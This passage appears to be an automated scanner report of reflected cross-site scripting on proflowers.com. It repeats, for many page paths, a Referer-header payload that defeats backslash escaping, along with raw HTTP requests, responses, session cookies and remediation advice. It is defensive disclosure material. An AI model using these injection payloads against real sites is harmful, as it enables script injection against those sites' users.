The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /organic-org HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=40897\"%3balert(1)//a281b454fa7
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:44 GMT Connection: close Content-Length: 109052
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_40897\\";alert(1)//a281b454fa7";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5da3\"%3balert(1)//40a7bec6c68 was submitted in the Referer HTTP header. This input was echoed as c5da3\\";alert(1)//40a7bec6c68 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /pink-flowers-sgk HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=c5da3\"%3balert(1)//40a7bec6c68
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:03 GMT Connection: close Content-Length: 93172
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_c5da3\\";alert(1)//40a7bec6c68";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e55e6\"%3balert(1)//fc9ffa099f5 was submitted in the Referer HTTP header. This input was echoed as e55e6\\";alert(1)//fc9ffa099f5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /portalslanding.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e55e6\"%3balert(1)//fc9ffa099f5
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:51 GMT Connection: close Content-Length: 168998
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 254ac\"%3balert(1)//f897ad8b7d was submitted in the Referer HTTP header. This input was echoed as 254ac\\";alert(1)//f897ad8b7d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /potted-garden-gar HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=254ac\"%3balert(1)//f897ad8b7d
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:55 GMT Connection: close Content-Length: 100644
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_254ac\\";alert(1)//f897ad8b7d";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6d73\"%3balert(1)//757e36e4d26 was submitted in the Referer HTTP header. This input was echoed as e6d73\\";alert(1)//757e36e4d26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /potted-roses-prp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e6d73\"%3balert(1)//757e36e4d26
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:51 GMT Connection: close Content-Length: 92037
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_e6d73\\";alert(1)//757e36e4d26";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c801b\"%3balert(1)//ecaf187b458 was submitted in the Referer HTTP header. This input was echoed as c801b\\";alert(1)//ecaf187b458 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /pottedorchidsandexotics-poe HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=c801b\"%3balert(1)//ecaf187b458
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:50 GMT Connection: close Content-Length: 121777
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_c801b\\";alert(1)//ecaf187b458";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7dcf2\"%3balert(1)//75f2521e422 was submitted in the Referer HTTP header. This input was echoed as 7dcf2\\";alert(1)//75f2521e422 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /productcategoryselection.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=7dcf2\"%3balert(1)//75f2521e422
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:00 GMT Connection: close Content-Length: 65523
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb335\"%3balert(1)//0997dfb1ad1 was submitted in the Referer HTTP header. This input was echoed as fb335\\";alert(1)//0997dfb1ad1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /radio/default.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=fb335\"%3balert(1)//0997dfb1ad1
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:04:59 GMT Connection: close Content-Length: 12868
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f9d5\"%3balert(1)//4ccac39a994 was submitted in the Referer HTTP header. This input was echoed as 3f9d5\\";alert(1)//4ccac39a994 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /romantic-flowers-lov HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=3f9d5\"%3balert(1)//4ccac39a994
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:26 GMT Connection: close Content-Length: 199882
